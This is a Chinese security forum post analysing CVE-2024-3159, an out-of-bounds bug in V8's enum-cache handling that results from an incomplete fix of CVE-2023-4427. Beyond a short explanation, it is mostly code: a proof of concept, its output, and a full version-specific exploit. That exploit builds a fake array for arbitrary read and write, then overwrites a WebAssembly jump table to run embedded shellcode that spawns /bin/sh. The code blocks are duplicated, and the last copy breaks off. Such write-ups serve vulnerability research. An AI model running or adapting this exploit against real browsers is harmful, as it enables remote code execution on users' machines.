首页
社区
课程
招聘
[原创] CVE-2024-3159:Out-of-bounds access in ReduceJSLoadPropertyWithEnumeratedKey
发表于: 2024-4-22 20:42 9472

[原创] CVE-2024-3159:Out-of-bounds access in ReduceJSLoadPropertyWithEnumeratedKey

2024-4-22 20:42
9472

这个洞在今年的 Pwn2Own 上被利用,目前还没有公开报告。该漏洞可以说是 CVE-2023-4427 漏洞未正确修复,其原理和利用跟 CVE-2023-4427 没有本质区别,CVE-2023-4427 之前分析过,所以这里不作过多说明,仅仅做记录

最新的沙箱不会绕,所以找了个之前的版本

在这里插入图片描述
可以看到这里对之前修复的 CVE-2023-4427 增加了一种情况:

则之前的修复遗漏了这种情况,这里也不多说了,参考 CVE-2023-4427 就行,毕竟这个漏洞就是 CVE-2023-4427 修复不完全导致的,这里直接看 POC

输出如下:

大致原理如下:
在这里插入图片描述
这里可以出现一种情况,即 descriptor array0enum cache 不为空,而 descriptor array1enum cache 为空,那么当修改 obj4.c = 1.1 时,由于这里是从 Smi 变成了一个 double,所以并不是简单修改描述符数组,而是会为 obj4 创建一个新的 map,并沿着 map transition tree 进行修改,使其 descriptor array 保持一致。而此时 obj4 对应的描述符数组的 enum cache 为空,所以不会对新的描述符数组的 enum cache 进行更新,从而导致 obj2 对应的 enum cache 也为空。后面的情况跟 CVE-2023-4427 就是如出一辙了......

针对此类漏洞,本来是可以泄漏 TheHole 的,但是高版本利用不了,所以这里还是只能写一个依赖特定版本的利用(使用硬编码......

简单糊了一个....

之前看 CVE-2023-4427 的时候,感觉修复的是一点问题没有......还是菜

https://chromium-review.googlesource.com/c/v8/v8/+/5401860/2/src/objects/map-updater.cc#1055
https://chromereleases.googleblog.com/2024/04/stable-channel-update-for-desktop.html

git checkout 1c623f9ff6e077be1c66f155485ea4005ddb6574
gclient sync -D
git checkout 1c623f9ff6e077be1c66f155485ea4005ddb6574
gclient sync -D
const obj1 = {};
obj1.a = 1;
 
const obj2 = {};
obj2.a = 1;
obj2.b = 2;
 
const obj3 = {};
obj3.a = 1;
obj3.b = 2;
obj3.c = 3;
obj3.d = 4;
 
const obj4 = {};
obj4.a = 1;
obj4.b = 2;
obj4.c = 3;
obj4.e = 4;
 
// init enum cache
for (let key in obj2) {}
 
function trigger(callback) {
        for (let key in obj2) {
                callback();
                console.log(obj2[key]);
        }
}
 
%PrepareFunctionForOptimization(trigger);
trigger(_=>_);
trigger(_=>_);
%OptimizeFunctionOnNextCall(trigger);
trigger(_=>_);
 
trigger(
        _=>{
                obj4.c = 1.1;
                for (let i in obj1) {}
        }
);
const obj1 = {};
obj1.a = 1;
 
const obj2 = {};
obj2.a = 1;
obj2.b = 2;
 
const obj3 = {};
obj3.a = 1;
obj3.b = 2;
obj3.c = 3;
obj3.d = 4;
 
const obj4 = {};
obj4.a = 1;
obj4.b = 2;
obj4.c = 3;
obj4.e = 4;
 
// init enum cache
for (let key in obj2) {}
 
function trigger(callback) {
        for (let key in obj2) {
                callback();
                console.log(obj2[key]);
        }
}
 
%PrepareFunctionForOptimization(trigger);
trigger(_=>_);
trigger(_=>_);
%OptimizeFunctionOnNextCall(trigger);
trigger(_=>_);
 
trigger(
        _=>{
                obj4.c = 1.1;
                for (let i in obj1) {}
        }
);
$ ./d8 --allow-natives-syntax poc.js
1
2
1
2
1
2
1
undefined
$ ./d8 --allow-natives-syntax poc.js
1
2
1
2
1
2
1
undefined
var buf = new ArrayBuffer(8);
var dv  = new DataView(buf);
var u8  = new Uint8Array(buf);
var u32 = new Uint32Array(buf);
var u64 = new BigUint64Array(buf);
var f32 = new Float32Array(buf);
var f64 = new Float64Array(buf);
var roots = new Array(0x30000);
var index = 0;
 
function pair_u32_to_f64(l, h) {
        u32[0] = l;
        u32[1] = h;
        return f64[0];
}
 
function u64_to_f64(val) {
        u64[0] = val;
        return f64[0];
}
 
 
function f64_to_u64(val) {
        f64[0] = val;
        return u64[0];
}
 
function set_u64(val) {
        u64[0] = val;
}
 
function set_l(l) {
        u32[0] = l;
}
 
function set_h(h) {
        u32[1] = h;
}
 
function get_l() {
        return u32[0];
}
 
function get_h() {
        return u32[1];
}
 
function get_u64() {
        return u64[0];
}
 
function get_f64() {
        return f64[0];
}
 
function get_fl(val) {
        f64[0] = val;
        return u32[0];
}
 
function get_fh(val) {
        f64[0] = val;
        return u32[1];
}
 
function add_ref(obj) {
        roots[index++] = obj;
}
 
function major_gc() {
        new ArrayBuffer(0x7fe00000);
}
 
function minor_gc() {
        for (let i = 0; i < 8; i++) {
                add_ref(new ArrayBuffer(0x200000));
        }
        add_ref(new ArrayBuffer(8));
}
 
function hexx(str, val) {
        console.log(str+": 0x"+val.toString(16));
}
 
function sleep(ms) {
        return new Promise((resolve) => setTimeout(resolve, ms));
}
 
var spray_array = Array(0xf700);
var data_start_addr = 0x00442129+7;
var map_addr = data_start_addr + 0x1000;
var fake_object_addr = map_addr + 0x1000;
 
spray_array[(map_addr-data_start_addr) / 8] = u64_to_f64(0x2d04040400000061n);
//spray_array[(map_addr-data_start_addr) / 8] = pair_u32_to_f64(data_start_addr+0x200, 0x2d040404);
spray_array[(map_addr-data_start_addr) / 8 + 1] = u64_to_f64(0x0a0007ff11000842n);
spray_array[(fake_object_addr-data_start_addr) / 8] = pair_u32_to_f64(map_addr+1, 0x219);
spray_array[(fake_object_addr-data_start_addr) / 8 + 1] = pair_u32_to_f64(data_start_addr-1, 0x20);
 
var leak_object_array = new Array(0xf700).fill({});
var leak_object_element_addr = 0x004c2129;
 
//%DebugPrint(spray_array);
//%DebugPrint(leak_object_array);
//readline();
 
const object1 = {};
object1.a = 1;
 
const object2 = {};
object2.a = 2;
object2.b = 2;
 
//const N = pair_u32_to_f64(0x42424242, 0x42424242);
const N = pair_u32_to_f64(fake_object_addr+1, fake_object_addr+1);
var fake_object_array = [
        N,N,N,N,N,N,N,N,N,N,N,N,N,N,
        N,N,N,N,N,N,N,N,N,N,N,N,N,N,
        N,N,N,N,N,N,N,N,N,N,N,N,N,N,
        N,N,N,N,N,N,N,N,N,N,N,N,N,N,
        N,N,N,N,N,N,N,N,N,N,N,N,N,N,
        N,N,N,N,N,N,N,N,N,N,N,N,N,N,
        N,N,N,N,N,N,N,N,N,N,N,N,N,N,
];
 
const object3 = {};
object3.a = 3;
object3.b = 3;
object3.c = 3;
object3.d = 3;
 
const object4 = {};
object4.a = 4;
object4.b = 4;
object4.c = 4;
object4.e = 4;
 
let fake_array;
for (let key in object2) {}
function trigger(callback) {
        for (let key in object2) {
                callback();
                fake_array = object2[key];
        }
}
 
//%PrepareFunctionForOptimization(trigger);
trigger(_ => _);
trigger(_ => _);
//%OptimizeFunctionOnNextCall(trigger);
trigger(_ => _);
for (let i = 0; i < 0x10000; i++) {
        trigger(_ => _);
        trigger(_ => _);
        trigger(_ => _);
}
//%DebugPrint(object4);
//readline();
trigger(_ => {
//      print("callback");
        object4.c = 1.1;
        for (let key in object1) { }
//      %DebugPrint(object2);
//      readline();
});
 
//print(fake_array === %TheHole());
//%DebugPrint(fake_array);
 
function addressOf(obj) {
        spray_array[(fake_object_addr-data_start_addr) / 8 + 1] = pair_u32_to_f64(leak_object_element_addr, 0x20);
        leak_object_array[0] = obj;
        f64[0] = fake_array[0];
        return u32[0];
}
 
//var test = [1.1];
//hexx("test address", addressOf(test));
//%DebugPrint(test);
 
 
function arb_read_cage(addr) {
        spray_array[(fake_object_addr-data_start_addr) / 8 + 1] = pair_u32_to_f64(addr-8, 0x20);
        return f64_to_u64(fake_array[0]);
}
 
function arb_write_half_cage(addr, val) {
        let orig_val = arb_read_cage(addr);
        fake_array[0] = pair_u32_to_f64(orig_val&0xffffffff, val);
}
 
function arb_write_full_cage(addr, val) {
        spray_array[(fake_object_addr-data_start_addr) / 8 + 1] = pair_u32_to_f64(addr-8, 0x20);
        fake_array[0] = u64_to_f64(val);
}
 
var code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 8, 2, 96, 0, 1, 124, 96, 0, 0, 3, 3, 2, 0, 1, 7, 14, 2, 4, 109, 97, 105, 110, 0, 0, 3, 112, 119, 110, 0, 1, 10, 76, 2, 71, 0, 68, 104, 110, 47, 115, 104, 88, 235, 7, 68, 104, 47, 98, 105, 0, 91, 235, 7, 68, 72, 193, 224, 24, 144, 144, 235, 7, 68, 72, 1, 216, 72, 49, 219, 235, 7, 68, 80, 72, 137, 231, 49, 210, 235, 7, 68, 49, 246, 106, 59, 88, 144, 235, 7, 68, 15, 5, 144, 144, 144, 144, 235, 7, 26, 26, 26, 26, 26, 26, 11, 2, 0, 11]);
var module = new WebAssembly.Module(code);
var instance = new WebAssembly.Instance(module, {});
var wmain = instance.exports.main;
for (let j = 0x0; j < 10000; j++) {
        wmain();
}
 
let instance_addr = addressOf(instance);
hexx("instance_addr", instance_addr);
let jump_table_addr = instance_addr + 0x50;
let rwx_addr = arb_read_cage(jump_table_addr);
hexx("rwx_addr", rwx_addr);
 
arb_write_full_cage(jump_table_addr, rwx_addr+0x71dn-5n);
var pwn = instance.exports.pwn;
pwn();
 
//%DebugPrint(instance);
//readline();
var buf = new ArrayBuffer(8);
var dv  = new DataView(buf);
var u8  = new Uint8Array(buf);
var u32 = new Uint32Array(buf);
var u64 = new BigUint64Array(buf);
var f32 = new Float32Array(buf);
var f64 = new Float64Array(buf);
var roots = new Array(0x30000);
var index = 0;
 
function pair_u32_to_f64(l, h) {
        u32[0] = l;
        u32[1] = h;
        return f64[0];
}
 
function u64_to_f64(val) {
        u64[0] = val;
        return f64[0];
}
 
 
function f64_to_u64(val) {
        f64[0] = val;
        return u64[0];
}
 
function set_u64(val) {
        u64[0] = val;
}
 
function set_l(l) {
        u32[0] = l;
}
 
function set_h(h) {
        u32[1] = h;
}
 
function get_l() {
        return u32[0];
}
 
function get_h() {
        return u32[1];
}
 
function get_u64() {
        return u64[0];
}
 
function get_f64() {
        return f64[0];
}
 
function get_fl(val) {
        f64[0] = val;
        return u32[0];
}
 
function get_fh(val) {
        f64[0] = val;
        return u32[1];
}
 
function add_ref(obj) {
        roots[index++] = obj;
}
 
function major_gc() {
        new ArrayBuffer(0x7fe00000);
}
 
function minor_gc() {
        for (let i = 0; i < 8; i++) {
                add_ref(new ArrayBuffer(0x200000));
        }
        add_ref(new ArrayBuffer(8));

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

最后于 2024-4-22 20:46 被XiaozaYa编辑 ,原因:
收藏
免费 2
支持
分享
最新回复 (1)
雪    币: 3573
活跃值: (31026)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
感谢分享
2024-4-23 14:38
1
游客
登录 | 注册 方可回帖
返回
//